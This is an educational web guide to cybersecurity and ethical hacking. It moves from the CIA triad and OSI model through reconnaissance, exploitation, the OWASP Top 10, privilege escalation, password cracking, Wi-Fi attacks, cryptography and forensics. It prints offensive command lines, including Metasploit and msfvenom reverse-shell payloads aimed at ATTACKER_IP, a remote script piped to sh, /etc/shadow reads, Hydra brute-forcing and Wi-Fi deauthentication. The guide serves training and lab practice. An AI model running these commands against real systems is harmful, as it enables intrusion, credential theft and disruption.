Skip to main content
Comprehensive Guide

Cybersecurity and Ethical Hacking

From the CIA triad to active exploitation. A structured path through network security, web application hacking, penetration testing methodology, cryptography, digital forensics, and building a practice lab on bare-metal infrastructure.

This guide assumes no prior security knowledge. Each section builds on the previous one, progressing from foundational theory through hands-on techniques to professional methodology and career development. All examples use intentionally vulnerable targets in isolated lab environments.

18Sections
10OWASP Top 10
6-PhaseMethodology
Zero to OSCPCareer Path
CYBER ATTACK TIMELINE1990200020102020Morris Worm1988Melissa Virus1999ILOVEYOU2000Stuxnet2010Target Breach2013WannaCry2017NotPetya2017SolarWinds2020Log4Shell2021MOVEit2023
Interactive Lab

Hands-On Security Lab

Experience offensive security firsthand. Fire up the terminal, exploit a SQL injection, or watch passwords crumble under cryptanalytic assault -- all within the safety of this simulated environment.

root@neurosec ~ bash
+-------------------------------------------------+
| NEURO SECURITY TERMINAL v3.1.0 |
| Authorized personnel only |
| Type "help" for commands | "mission" for CTF |
+-------------------------------------------------+
 
root@neurosec:~#
Part I -- Foundations
Fundamentals

The CIA triad and threat landscape

All of cybersecurity reduces to three principles: confidentiality, integrity, and availability. Every attack targets at least one. Every defense protects at least one. Understanding this framework is the foundation for everything that follows.

The CIA triad is not academic abstraction. When you assess a vulnerability, you ask: does it compromise confidentiality (data leakage), integrity (data tampering), or availability (service disruption)? The answer determines severity, priority, and remediation.

Confidentiality

Information is accessible only to those authorized to have access. Prevents unauthorized disclosure of data.

Common Attacks
Eavesdropping, man-in-the-middle, social engineering, data exfiltration, shoulder surfing
Defenses
Encryption (AES-256, TLS 1.3), access control lists, multi-factor authentication, data classification, VPNs
Real-World Example
A database containing patient records is encrypted at rest with AES-256 and in transit with TLS 1.3. Only authenticated users with the correct role can query it.

Integrity

Information is accurate and complete and has not been modified by unauthorized parties. Ensures data trustworthiness.

Common Attacks
SQL injection, cross-site scripting, buffer overflow, checksum collision, log tampering
Defenses
Hash functions (SHA-256), digital signatures, input validation, version control, write-ahead logs, code signing
Real-World Example
Every file in a software release is signed with a GPG key. Users verify the signature before installation, ensuring no tampering occurred in transit.

Availability

Information and systems are accessible when needed. Systems must be resilient against disruption and downtime.

Common Attacks
DDoS, ransomware, resource exhaustion, physical destruction, cable cuts, power failure
Defenses
Redundancy, load balancing, failover clusters, backups (3-2-1 rule), DDoS mitigation (Cloudflare), UPS
Real-World Example
A web application is deployed across three availability zones with automated failover. If one zone goes down, traffic is rerouted within seconds.
CIA TRIADSecurity FoundationConfidentialityPrevent unauthorized accessEavesdropping, Data theftIntegrityPrevent unauthorized modificationTampering, MITMAvailabilityEnsure reliable accessDDoS, Ransomware
THREAT LANDSCAPE — FORCE-DIRECTED GRAPHAttackWebNetworkSocialAdvancedPost-Exploit

Attack Classification

Network Attacks

ARP Spoofing
Linking the attacker's MAC address with the IP of a legitimate device, allowing interception of traffic on a local network segment
DNS Poisoning
Corrupting DNS resolver caches to redirect domain lookups to attacker-controlled IP addresses
Man-in-the-Middle
Positioning between two communicating parties to intercept, relay, and potentially alter communications
SYN Flood
Exploiting the TCP three-way handshake by sending SYN requests faster than the target can process them, exhausting connection tables

Web Application Attacks

SQL Injection
Inserting malicious SQL statements into application queries through user input fields, potentially extracting or modifying the entire database
Cross-Site Scripting (XSS)
Injecting client-side scripts into web pages viewed by other users, stealing session tokens or performing actions on their behalf
Cross-Site Request Forgery
Tricking authenticated users into submitting requests to a web application they are logged into, performing unwanted actions
Server-Side Request Forgery
Abusing server functionality to make requests to internal resources, bypassing firewalls and accessing restricted services

System Attacks

Buffer Overflow
Writing data beyond the boundaries of a memory buffer, overwriting adjacent memory to hijack program execution flow
Privilege Escalation
Exploiting a vulnerability to gain elevated access (root/SYSTEM) from a lower-privileged account on the target system
DLL Hijacking
Placing a malicious DLL in a location where a legitimate application will load it, executing attacker code in the application's context
Pass-the-Hash
Using captured NTLM password hashes to authenticate to remote services without knowing the plaintext password

Social Engineering

Phishing
Crafting fraudulent emails or websites that impersonate trusted entities to harvest credentials or deliver malware
Pretexting
Creating a fabricated scenario (pretext) to engage a victim and extract information or manipulate them into performing actions
Baiting
Leaving infected USB drives or download links in locations where targets will find and use them, exploiting curiosity
Tailgating
Following an authorized person through a secured entry point without presenting credentials, bypassing physical access controls
Networking

The OSI model and protocol analysis

Every network attack exploits a specific protocol at a specific OSI layer. Understanding the seven-layer model is not academic -- it is the framework for understanding where an attack operates, what defenses apply, and what tools to use for detection and exploitation.

As a penetration tester, you will analyze traffic at Layer 2 (ARP spoofing), craft packets at Layer 3-4 (port scanning), and exploit applications at Layer 7 (SQL injection). The table below maps each layer to its protocols, common attacks, and the tools used to test them.

OSI Reference Model -- Security Perspective

LayerNameProtocolsCommon AttacksTools
7ApplicationHTTP, HTTPS, DNS, FTP, SMTP, SSH, SNMPSQL injection, XSS, CSRF, directory traversal, API abuseBurp Suite, sqlmap, Nikto, Gobuster
6PresentationSSL/TLS, MIME, JPEG, ASCII, encryptionSSL stripping, certificate forgery, encoding attackssslstrip, testssl.sh, SSLyze
5SessionNetBIOS, PPTP, RPC, SOCKSSession hijacking, session fixation, replay attacksWireshark, Ettercap, Bettercap
4TransportTCP, UDP, SCTPSYN flood, UDP flood, port scanning, TCP resetNmap, hping3, Scapy
3NetworkIP, ICMP, IGMP, IPsec, BGP, OSPFIP spoofing, ICMP redirect, route injection, fragmentationtraceroute, Scapy, Nmap
2Data LinkEthernet, ARP, PPP, 802.11 (Wi-Fi), VLANARP spoofing, MAC flooding, VLAN hopping, rogue DHCParpspoof, macchanger, Yersinia
1PhysicalCables, hubs, repeaters, radio frequenciesWiretapping, jamming, cable cutting, keylogger hardwareHackRF, RTL-SDR, LAN Turtle

TCP Three-Way Handshake

SYN, SYN-ACK, ACK. This is the foundation of port scanning. A SYN scan (half-open) sends SYN and analyzes the response: SYN-ACK means open, RST means closed, no response means filtered. Understanding this handshake is essential for interpreting Nmap results.

ARP (Address Resolution Protocol)

Maps IP addresses to MAC addresses on a local network. ARP has no authentication -- any device can claim to own any IP address. ARP spoofing exploits this to intercept traffic between two parties (man-in-the-middle) on the same network segment.

DNS (Domain Name System)

Translates domain names to IP addresses. DNS cache poisoning redirects users to malicious servers. DNS zone transfers can leak the entire domain structure. DNS tunneling can exfiltrate data through DNS queries, bypassing most firewalls.

OSI ATTACK SURFACEL7ApplicationSQLi / XSSriskL6PresentationSSL StrippingriskL5SessionSession HijackingriskL4TransportSYN FloodriskL3NetworkIP SpoofingriskL2Data LinkARP SpoofingriskL1PhysicalWiretappingrisk
Linux

Essential commands for security operations

Linux is the operating system of cybersecurity. Kali Linux, Parrot OS, and most server infrastructure run on Linux. Mastering the command line is not optional -- it is the primary interface for reconnaissance, exploitation, and forensics.

File System Navigation

ls -la
List all files including hidden, with permissions, owner, size, and timestamps in long format
find / -perm -4000 -type f 2>/dev/null
Search entire filesystem for files with SUID bit set -- critical for privilege escalation discovery
grep -rn 'password' /etc/ 2>/dev/null
Recursively search configuration files for the word password with line numbers
cat /etc/passwd
Display user accounts -- look for users with /bin/bash shell and UID 0 (root equivalent)

Network Diagnostics

ss -tulnp
Show all listening TCP/UDP sockets with process information -- identifies open ports and bound services
ip addr show
Display all network interfaces with IP addresses, MAC addresses, and state information
tcpdump -i eth0 -w capture.pcap
Capture all packets on interface eth0 and write to a pcap file for analysis in Wireshark
iptables -L -n -v
List all firewall rules with numeric addresses and packet/byte counters for each rule chain

Process and Service Management

ps aux | grep root
List all processes running as root -- useful for identifying privileged services to target
systemctl list-units --type=service --state=running
List all active systemd services -- identifies the attack surface of running daemons
crontab -l && ls -la /etc/cron*
List cron jobs for current user and examine system cron directories for scheduled tasks
lsof -i -P -n
List all open network connections with process names -- maps processes to network ports

User and Permission Analysis

sudo -l
List commands the current user can run with sudo -- primary vector for privilege escalation
id && whoami && groups
Display current user ID, username, and group memberships to understand current access level
cat /etc/shadow
Display password hashes (requires root) -- hashes can be cracked offline with John or Hashcat
getfacl /sensitive/file
Display access control lists beyond standard Unix permissions -- reveals hidden access grants
Part II -- Offensive Techniques
Reconnaissance

Information gathering and attack surface mapping

Reconnaissance is the most important phase of a penetration test. The quality of your enumeration directly determines your success in exploitation. Spend more time here than you think necessary. Most penetration tests succeed or fail based on the thoroughness of reconnaissance.

There are two categories: passive (no direct target interaction, undetectable) and active (direct interaction, detectable by IDS and logging). Professional testers always start passive before transitioning to active reconnaissance.

Passive Reconnaissance

Gathering information without directly interacting with the target. The target has no way to detect this activity because no packets are sent to their systems.

OSINT (Open Source Intelligence)
Searching public records, social media profiles, job postings, DNS records, WHOIS data, and archived web pages to build a target profile
Google Dorking
Using advanced search operators (site:, filetype:, intitle:, inurl:) to find exposed files, login pages, configuration files, and directories indexed by search engines
Shodan / Censys
Internet-wide scanning databases that index exposed services, default credentials, vulnerable firmware versions, and misconfigured servers globally
Certificate Transparency Logs
Querying CT logs (crt.sh) to discover subdomains, internal hostnames, and infrastructure patterns from publicly issued TLS certificates
theHarvester
Automated OSINT tool that collects emails, names, subdomains, IPs, and URLs from public sources including search engines, PGP key servers, and Shodan

Active Reconnaissance

Directly interacting with the target to discover services, versions, and vulnerabilities. This activity can be detected by intrusion detection systems and is logged by firewalls.

Port Scanning (Nmap)
Sending TCP SYN/ACK/FIN packets and UDP datagrams to target ports to determine which services are listening, their state (open/closed/filtered), and version fingerprints
Service Enumeration
Banner grabbing and version detection (-sV) to identify exact software versions running on open ports -- critical for matching to known CVE vulnerabilities
OS Fingerprinting
Analyzing TCP/IP stack behavior (TTL values, window sizes, TCP options) to identify the target's operating system family and version
DNS Zone Transfer
Attempting AXFR requests against nameservers to obtain complete DNS zone files, revealing all hostnames and IP mappings in a domain
Web Crawling and Spidering
Automated discovery of web application endpoints, hidden directories, backup files, and API endpoints through recursive link following and brute-force directory enumeration
RECONNAISSANCE PIPELINEPASSIVE RECONACTIVE SCANANALYSISOUTPUTKAttackerKali LinuxDDNS Querywhois / digOOSINTtheHarvesterSPort Scannmap -sVEEnumerategobuster / niktoVVuln ScanNessus / OpenVASMAttack MapTarget ProfileRReportFindings Doc
Scanning

Tools for vulnerability discovery

Scanning turns reconnaissance intelligence into actionable targets. These tools probe the target to identify open ports, running services, software versions, and known vulnerabilities. Each tool serves a specific purpose in the enumeration pipeline.

Nmap

Network Mapper

Port scanning, service detection, OS fingerprinting, NSE script scanning

nmap -sC -sV -oN scan.txt TARGET
Default scripts + version detection, output to file
nmap -sS -p- --min-rate 5000 TARGET
SYN stealth scan all 65535 ports at high speed
nmap -sU --top-ports 100 TARGET
UDP scan of the 100 most common UDP ports
nmap --script vuln TARGET
Run all vulnerability detection NSE scripts against target
nmap -sn 10.0.0.0/24
Ping sweep to discover live hosts on a subnet without port scanning

Gobuster

Directory and DNS Bruteforcer

Web content discovery, subdomain enumeration, virtual host detection

gobuster dir -u http://TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Directory brute-force with medium wordlist
gobuster dns -d TARGET.com -w subdomains.txt
Subdomain enumeration using a wordlist
gobuster vhost -u http://TARGET -w vhosts.txt
Virtual host discovery for finding hidden web applications

Nikto

Web Server Scanner

Web server vulnerability scanning, misconfigurations, default files, outdated software

nikto -h http://TARGET
Basic web server scan for known vulnerabilities and misconfigurations
nikto -h http://TARGET -Tuning 9
Scan specifically for SQL injection vectors
nikto -h http://TARGET -ssl
Force SSL/TLS connection for HTTPS targets

Enum4linux

SMB/NetBIOS Enumerator

Windows/Samba share enumeration, user listing, group policy extraction

enum4linux -a TARGET
Full enumeration: users, shares, groups, password policy, OS info
enum4linux -U TARGET
Enumerate user accounts through RID cycling
enum4linux -S TARGET
List available SMB shares and permissions
Exploitation

From vulnerability to system access

Exploitation is the controlled process of leveraging a vulnerability to gain unauthorized access. In ethical hacking, this is done with explicit authorization to demonstrate real-world risk. The goal is proof of impact, not destruction.

Professional penetration testers follow a disciplined process: identify the vulnerability, select the most reliable exploit, customize the payload for the target environment, and document every step for the final report.

Vulnerability Identification

Matching discovered services and versions against known vulnerability databases. This maps the attack surface to actionable exploits.

  1. 1.Cross-reference service versions from Nmap output against the National Vulnerability Database (NVD)
  2. 2.Search Exploit-DB (searchsploit) for public exploits matching the target's software stack
  3. 3.Check vendor advisories and security bulletins for recently patched vulnerabilities
  4. 4.Run automated scanners (OpenVAS, Nessus) for comprehensive vulnerability assessment
  5. 5.Analyze custom web applications for OWASP Top 10 vulnerabilities using Burp Suite

Exploit Selection and Customization

Choosing the most reliable exploit for the target's specific configuration. Reliability matters more than sophistication in professional penetration testing.

  1. 1.Evaluate exploit reliability: prefer exploits with known success rates and minimal side effects
  2. 2.Verify exploit compatibility with the target's exact version, architecture, and configuration
  3. 3.Modify shellcode or payload to match the target environment (IP, port, encoding)
  4. 4.Test the exploit in a controlled lab environment before deploying against the target
  5. 5.Prepare fallback exploits in case the primary vector fails or is detected

Payload Delivery and Execution

Delivering the exploit to the target and achieving code execution. The goal is initial access -- a foothold on the target system.

  1. 1.Stage the payload: generate reverse shell, meterpreter, or custom implant with msfvenom
  2. 2.Set up the listener: configure Metasploit multi/handler or Netcat to catch the callback
  3. 3.Deliver the exploit: direct network exploit, phishing email, malicious file upload, or client-side attack
  4. 4.Verify execution: confirm shell access, check user context (whoami), assess initial privileges
  5. 5.Establish persistence: create backdoor, add user, install cron job, or deploy web shell as backup access

Post-Exploitation

After gaining initial access, the objective shifts to understanding the compromised environment, escalating privileges, and expanding access to other systems.

  1. 1.Situational awareness: enumerate the local system, network, users, running processes, installed software
  2. 2.Credential harvesting: dump password hashes, search for stored credentials, capture tokens
  3. 3.Lateral movement: use harvested credentials to access other systems on the network
  4. 4.Data exfiltration: identify and extract sensitive data as proof of impact for the report
  5. 5.Clean up: remove artifacts, restore modified files, close backdoors (in authorized testing)

Metasploit Framework -- Core Commands

Search for exploits
search type:exploit name:apache
Select and configure exploit
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST ATTACKER_IP set LPORT 4444
Generate standalone payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf
Post-exploitation (Meterpreter)
sysinfo / getuid / hashdump / upload / download / shell / migrate
CYBER KILL CHAINRReconOSINT, whoisSScanNmap, GobusterEExploitSQLi, RCEAAccessReverse shellPEscalateSUID, sudo!Rootuid=0
Web Hacking

OWASP Top 10 and web exploitation

Web applications are the most common attack surface in modern organizations. The OWASP Top 10 is the industry-standard classification of the ten most critical web application security risks, updated periodically based on real-world breach data.

Burp Suite is the primary tool for web application testing. It acts as a proxy between your browser and the target, allowing you to intercept, inspect, and modify every HTTP request and response. PortSwigger Web Security Academy provides free, hands-on labs for every category below.

A01

Broken Access Control

Restrictions on authenticated users are not properly enforced. Attackers can access unauthorized functions or data, modify other users' records, or escalate privileges.

Example
Changing the URL parameter from /api/user/123 to /api/user/456 reveals another user's data because the application does not verify ownership.
Prevention
Deny by default. Implement server-side access control checks on every request. Use role-based access control (RBAC). Log and alert on access control failures.
A02

Cryptographic Failures

Sensitive data is transmitted or stored without adequate cryptographic protection. Includes weak algorithms, poor key management, and missing encryption.

Example
A web application stores passwords using MD5 without salt. An attacker who obtains the database can crack all passwords using precomputed rainbow tables in minutes.
Prevention
Use strong algorithms (AES-256, bcrypt, Argon2). Enforce TLS 1.3 for data in transit. Never store plaintext passwords. Implement proper key rotation.
A03

Injection

Untrusted data is sent to an interpreter as part of a command or query. SQL injection, NoSQL injection, OS command injection, and LDAP injection are all variants.

Example
A login form vulnerable to SQL injection: entering ' OR 1=1-- as the username bypasses authentication because the query becomes SELECT * FROM users WHERE username='' OR 1=1--
Prevention
Use parameterized queries (prepared statements). Validate and sanitize all input. Use ORM frameworks. Apply least-privilege database permissions.
A04

Insecure Design

Fundamental design flaws that cannot be fixed by perfect implementation. Missing threat modeling, insecure business logic, and absence of security requirements.

Example
A password reset flow that emails a plaintext temporary password. Even with perfect code, the design exposes credentials through an insecure channel.
Prevention
Use threat modeling during design. Establish secure design patterns library. Write security-focused user stories. Conduct architecture risk analysis.
A05

Security Misconfiguration

Insecure default configurations, incomplete configurations, open cloud storage, unnecessary features enabled, verbose error messages revealing stack traces.

Example
A web server running with directory listing enabled exposes all files in the web root, including backup files, configuration files, and database dumps.
Prevention
Harden all environments identically. Remove unnecessary features and frameworks. Automate configuration verification. Implement security headers.
A06

Vulnerable and Outdated Components

Using libraries, frameworks, or software with known vulnerabilities. Includes not tracking component versions and not monitoring security advisories.

Example
An application using Log4j 2.14.1 is vulnerable to Log4Shell (CVE-2021-44228), allowing remote code execution through crafted log messages.
Prevention
Maintain a software bill of materials (SBOM). Automate dependency scanning (Trivy, Dependabot). Subscribe to security advisories. Patch within defined SLAs.
A07

Identification and Authentication Failures

Weaknesses in authentication mechanisms: credential stuffing, brute force, weak passwords, improper session management, missing MFA.

Example
A web application allows unlimited login attempts without rate limiting. An attacker runs a credential stuffing attack using breached password lists.
Prevention
Implement MFA. Enforce strong password policies. Rate-limit authentication attempts. Use secure session management with proper timeout and invalidation.
A08

Software and Data Integrity Failures

Code and infrastructure that does not protect against integrity violations: unsigned updates, insecure CI/CD pipelines, unverified deserialization.

Example
A CI/CD pipeline pulls dependencies from a public registry without verifying checksums. An attacker publishes a malicious package with the same name (typosquatting).
Prevention
Verify digital signatures on software and updates. Use trusted registries with integrity verification. Implement SBOM and supply chain security.
A09

Security Logging and Monitoring Failures

Insufficient logging, missing alerting, and inadequate incident response. Attackers can operate undetected for extended periods.

Example
A web application logs successful logins but not failed attempts. Brute-force attacks against admin accounts go undetected for weeks.
Prevention
Log authentication events, access control failures, and input validation failures. Implement centralized log management (ELK, Loki). Set up real-time alerting.
A10

Server-Side Request Forgery (SSRF)

The application fetches a remote resource based on user-supplied input without validating the destination. Allows access to internal services behind firewalls.

Example
A URL preview feature fetches http://169.254.169.254/latest/meta-data/ when a user submits that URL, exposing cloud instance metadata including IAM credentials.
Prevention
Validate and sanitize all user-supplied URLs. Implement allowlists for permitted domains. Block requests to private IP ranges. Use network segmentation.
OWASPTop 10 (2021)hover to explore
Privilege Escalation

From user to root: escalation vectors

Initial exploitation typically provides low-privilege access. Privilege escalation is the process of leveraging misconfigurations, vulnerable software, or design flaws to gain administrative (root or SYSTEM) access. This is a core skill for penetration testing.

Linux Privilege Escalation

SUID Binaries

find / -perm -4000 -type f 2>/dev/null

Binaries with the SUID bit run as their owner (often root) regardless of who executes them. If a SUID binary allows arbitrary command execution, it provides a direct path to root. GTFOBins documents exploitable SUID binaries.

Sudo Misconfigurations

sudo -l

Check what commands the current user can run with sudo. Common misconfigurations: sudo access to editors (vim, nano), scripting languages (python, perl), or file utilities (find, tar) that can spawn a shell.

Writable Cron Jobs

ls -la /etc/cron* && cat /etc/crontab

If a script executed by a cron job running as root is writable by the current user, replacing its contents with a reverse shell payload grants root access on the next cron execution.

Kernel Exploits

uname -a && cat /etc/os-release

Older kernel versions have known privilege escalation exploits. Cross-reference the kernel version against exploit databases. Examples: DirtyCow (CVE-2016-5195), DirtyPipe (CVE-2022-0847).

Writable /etc/passwd

ls -la /etc/passwd

If /etc/passwd is writable, you can add a new user entry with UID 0 (root) and a known password hash, creating a backdoor root account.

Capabilities

getcap -r / 2>/dev/null

Linux capabilities grant specific root privileges to binaries without full SUID. cap_setuid on Python or Perl allows privilege escalation. Less visible than SUID.

PATH Hijacking

echo $PATH

If a privileged script calls a command without an absolute path, and the current user can write to a directory earlier in PATH, placing a malicious binary there hijacks execution.

Docker Group

id | grep docker

Members of the docker group can mount the host filesystem into a container and gain root access: docker run -v /:/host -it ubuntu chroot /host.

Windows Privilege Escalation

Unquoted Service Paths

wmic service get name,displayname,pathname,startmode | findstr /i auto | findstr /i /v "C:\Windows"

Services with unquoted paths containing spaces can be hijacked by placing a malicious executable at an earlier path component. Windows evaluates each space as a potential executable boundary.

AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If both HKLM and HKCU registry keys are set to 1, any user can install MSI packages with SYSTEM privileges. Create a malicious MSI with msfvenom.

Token Impersonation

whoami /priv

SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege allows impersonation of privileged tokens. Tools: PrintSpoofer, JuicyPotato, GodPotato.

Stored Credentials

cmdkey /list

Windows Credential Manager may store plaintext or recoverable credentials. Also check: PowerShell history, IIS web.config files, unattend.xml, Groups.xml.

Service Binary Permissions

icacls "C:\Program Files\Service\binary.exe"

If the current user has write permission to a service binary, replacing it with a malicious executable runs code as the service account (often SYSTEM) when the service restarts.

Registry Autorun

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Writable autorun registry entries execute commands at user login. If a privileged user logs in and the entry is writable, it provides privilege escalation.

Automated Enumeration Tools

LinPEAS (Linux)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
Linux Exploit Suggester
./linux-exploit-suggester.sh
WinPEAS (Windows)
winPEASx64.exe
PowerUp (PowerShell)
Import-Module .\PowerUp.ps1; Invoke-AllChecks
www-datauserrootApache reverse shellSUID enumerationWritable cron jobsudo -l → vimvim shell escapeuid=0(root)ESCALATION PATH
Password Attacks

Hash cracking and credential attacks

Passwords remain the most common authentication mechanism and the most frequently exploited. Understanding how passwords are stored (hashing), how hashes are cracked (offline attacks), and how credentials are brute-forced (online attacks) is fundamental.

John the Ripper

Offline password hash cracking with CPU-based attacks

Dictionary Attack
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Try every word in a wordlist against the captured hashes
Rule-based Attack
john --wordlist=rockyou.txt --rules=best64 hashes.txt
Apply transformation rules (capitalize, append numbers, leet speak) to wordlist entries
Incremental (Brute Force)
john --incremental hashes.txt
Try every possible character combination -- slow but exhaustive

Hashcat

GPU-accelerated password hash cracking -- significantly faster than CPU-based tools

Straight Attack
hashcat -m 0 -a 0 hashes.txt rockyou.txt
Dictionary attack using GPU acceleration. -m selects hash type (0=MD5, 1000=NTLM, 1800=sha512crypt)
Combination Attack
hashcat -m 0 -a 1 hashes.txt dict1.txt dict2.txt
Combine words from two dictionaries (word1+word2)
Mask Attack
hashcat -m 0 -a 3 hashes.txt ?u?l?l?l?d?d?d?d
Pattern-based attack: ?u=uppercase, ?l=lowercase, ?d=digit. This tests Aaaa0000-Zzzz9999

Hydra

Online password brute-forcing against network services

SSH Brute Force
hydra -l admin -P rockyou.txt ssh://TARGET
Try password list against SSH login for user admin
HTTP POST Form
hydra -l admin -P rockyou.txt TARGET http-post-form "/login:user=^USER^&pass=^PASS^:F=failed"
Brute-force web login form with custom parameters
FTP Brute Force
hydra -L users.txt -P passwords.txt ftp://TARGET
Try username and password lists against FTP service

Common Hash Types -- Identification

Hash TypeLengthExample PatternHashcat Mode
MD532 hex chars5d41402abc4b2a76b9719d911017c592-m 0
SHA-140 hex charsaaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d-m 100
SHA-25664 hex chars2cf24dba5fb0a30e26e83b2ac5b9e29...-m 1400
NTLM32 hex charsa4f49c406510bdcab6824ee7c30fd852-m 1000
bcrypt$2b$ prefix$2b$12$LJ3m4ys3Lk0TdIBgFepVNu...-m 3200
sha512crypt$6$ prefix$6$rounds=5000$salt$hash...-m 1800
PASSWORD CRACK TIME — LOG SCALE1s1m1h1d1y100y1My10ByCRACKABLECOMPUTATIONALLY INFEASIBLE4 chars (lower)6 chars (mixed)8 chars (lower)8 chars (complex)12 chars (mixed)16 chars (complex)24 chars (passphrase)
Wireless Security

Wi-Fi protocols and wireless attacks

Wireless networks broadcast traffic through the air, making them inherently more exposed than wired networks. Understanding wireless protocols, encryption standards, and attack techniques is essential for both offensive testing and defensive hardening.

WEP (Wired Equivalent Privacy)

Broken -- do not use

Uses RC4 stream cipher with a 24-bit initialization vector (IV). The IV space is too small, causing IV reuse that allows statistical key recovery. An attacker can crack WEP in minutes by capturing enough packets.

WPA/WPA2 (Wi-Fi Protected Access)

WPA2-PSK vulnerable to offline dictionary attacks

Uses AES-CCMP (WPA2) for encryption. PSK (Pre-Shared Key) mode is vulnerable to offline dictionary attacks by capturing the four-way handshake. Enterprise mode (802.1X/RADIUS) is significantly more secure.

WPA3 (Wi-Fi Protected Access 3)

Current standard -- significantly improved

Uses SAE (Simultaneous Authentication of Equals) replacing PSK, providing forward secrecy and resistance to offline dictionary attacks. Dragonblood vulnerabilities were discovered but are largely patched.

Rogue Access Points

Social engineering via wireless

An attacker creates a fake access point with the same SSID as a trusted network. Victims connect automatically, routing all traffic through the attacker's device for interception and credential capture.

Aircrack-ng Suite -- Core Commands

Monitor mode: airmon-ng start wlan0
Capture traffic: airodump-ng wlan0mon
Target specific AP: airodump-ng -c CHANNEL --bssid AP_MAC -w capture wlan0mon
Deauth attack: aireplay-ng -0 10 -a AP_MAC -c CLIENT_MAC wlan0mon
Crack WPA2 handshake: aircrack-ng -w rockyou.txt capture-01.cap
Part III -- Defense and Analysis
Cryptography

Encryption, hashing, and key management

Cryptography is the mathematical foundation of information security. Every secure communication, every password storage mechanism, every digital signature relies on cryptographic primitives. Understanding these concepts is essential for both attacking weak implementations and building secure systems.

Symmetric Encryption

The same key encrypts and decrypts data. Fast and efficient for bulk data encryption. The challenge is secure key distribution -- both parties must share the key over a secure channel.

Algorithms
AES-256 (standard), ChaCha20 (mobile/streaming), 3DES (legacy, avoid), Blowfish (legacy)
Use Cases
Disk encryption (LUKS, BitLocker), file encryption, database encryption at rest, VPN tunnel data
Key Takeaway
AES-256 with GCM mode provides both confidentiality and integrity (authenticated encryption). This is the standard for new implementations.

Asymmetric Encryption

Uses a key pair: public key encrypts, private key decrypts. Solves the key distribution problem but is computationally expensive. Typically used for key exchange and digital signatures, not bulk data.

Algorithms
RSA-2048/4096, ECDSA (P-256, P-384), Ed25519 (modern, fast), Diffie-Hellman (key exchange)
Use Cases
TLS handshake, SSH authentication, digital signatures, PGP email encryption, certificate authorities
Key Takeaway
Ed25519 is the modern standard for key generation: smaller keys, faster operations, and stronger security properties than RSA. SSH keys should use Ed25519.

Hash Functions

One-way functions that produce a fixed-size output (digest) from arbitrary input. Any change to the input produces a completely different hash. Used for integrity verification and password storage.

Algorithms
SHA-256 (standard), SHA-3 (latest standard), BLAKE2 (fast), MD5 (broken, avoid), SHA-1 (deprecated)
Use Cases
Password storage (with salt), file integrity verification, digital signatures, blockchain, HMAC authentication
Key Takeaway
Passwords must be hashed with purpose-built functions (bcrypt, Argon2, scrypt) that include salt and are intentionally slow to resist brute-force attacks. Never use raw SHA-256 for passwords.

Public Key Infrastructure (PKI)

The framework of policies, procedures, and technology for managing digital certificates and public-key encryption. Certificate Authorities (CAs) issue certificates that bind public keys to identities.

Algorithms
X.509 certificates, Certificate chains, OCSP (revocation checking), Certificate Transparency
Use Cases
HTTPS (TLS certificates), code signing, email encryption (S/MIME), VPN authentication, mutual TLS (mTLS)
Key Takeaway
Let's Encrypt democratized HTTPS by providing free, automated certificates. Understanding the certificate chain (root CA, intermediate CA, end-entity) is essential for security auditing.
ENCRYPTION MODELSSymmetricSame key, both sidesAAliceBBobAES-256-GCMAsymmetricPublic key encrypts, private decryptsSSenderRReceiverpub keypriv keyRSA / Ed25519
Digital Forensics

Evidence collection and incident analysis

Digital forensics is the discipline of collecting, preserving, and analyzing digital evidence following incidents. Whether investigating a breach, analyzing malware, or preparing evidence for legal proceedings, forensic methodology ensures findings are admissible and reproducible.

Disk Forensics

Acquiring and analyzing storage media to recover deleted files, examine file system artifacts, and reconstruct user activity timelines.

Autopsy, Sleuth Kit, FTK Imager, dd, dcfldd
  1. 1.Create a forensic image (bit-for-bit copy) of the target drive before any analysis
  2. 2.Verify image integrity with cryptographic hashes (MD5 + SHA-256) to maintain chain of custody
  3. 3.Analyze file system metadata: timestamps (MACB), file allocation tables, journal entries
  4. 4.Recover deleted files from unallocated space and slack space
  5. 5.Extract and analyze browser history, email databases, and application artifacts

Memory Forensics

Analyzing volatile memory (RAM) dumps to identify running processes, network connections, loaded modules, and malware that exists only in memory.

Volatility 3, Rekall, LiME (Linux Memory Extractor), WinPmem
  1. 1.Dump physical memory using LiME (Linux) or WinPmem (Windows) before system shutdown
  2. 2.List running processes and identify suspicious or hidden processes (process hollowing, injection)
  3. 3.Extract network connections and map them to processes for command-and-control identification
  4. 4.Dump process memory to extract encryption keys, passwords, and decrypted data
  5. 5.Identify loaded kernel modules and detect rootkit presence through anomaly analysis

Network Forensics

Capturing and analyzing network traffic to reconstruct communications, identify data exfiltration, and trace attack paths through the network.

Wireshark, tcpdump, NetworkMiner, Zeek (Bro), Moloch/Arkime
  1. 1.Capture full packet data (PCAP) at network chokepoints during incident response
  2. 2.Reconstruct TCP streams to recover transmitted files, emails, and web sessions
  3. 3.Analyze DNS queries for domain generation algorithm (DGA) patterns indicating malware
  4. 4.Identify beaconing patterns in traffic that suggest command-and-control communications
  5. 5.Map lateral movement by correlating authentication events across multiple hosts

Log Analysis

Examining system, application, and security logs to reconstruct the timeline of an intrusion and identify the attacker's actions.

ELK Stack, Splunk, Grafana Loki, grep/awk/sed, journalctl
  1. 1.Correlate timestamps across multiple log sources to build a unified timeline
  2. 2.Search for indicators of compromise (IOCs): malicious IPs, file hashes, user agents
  3. 3.Analyze authentication logs for brute-force patterns, impossible travel, or anomalous access
  4. 4.Review web server access logs for injection attempts, directory traversal, and scanning patterns
  5. 5.Examine Windows Event Logs: Security (4624/4625 logon), System, and PowerShell logs
Defense

Defense in depth and security architecture

Understanding offense is incomplete without understanding defense. The defense-in-depth model layers multiple security controls so that the failure of any single control does not result in compromise. Each layer provides independent protection.

Layer 1

Network Defense

Firewall Configuration
Default-deny ingress rules. Only explicitly required ports and source IPs are permitted. Egress filtering blocks unauthorized outbound connections to prevent data exfiltration and C2 callbacks.
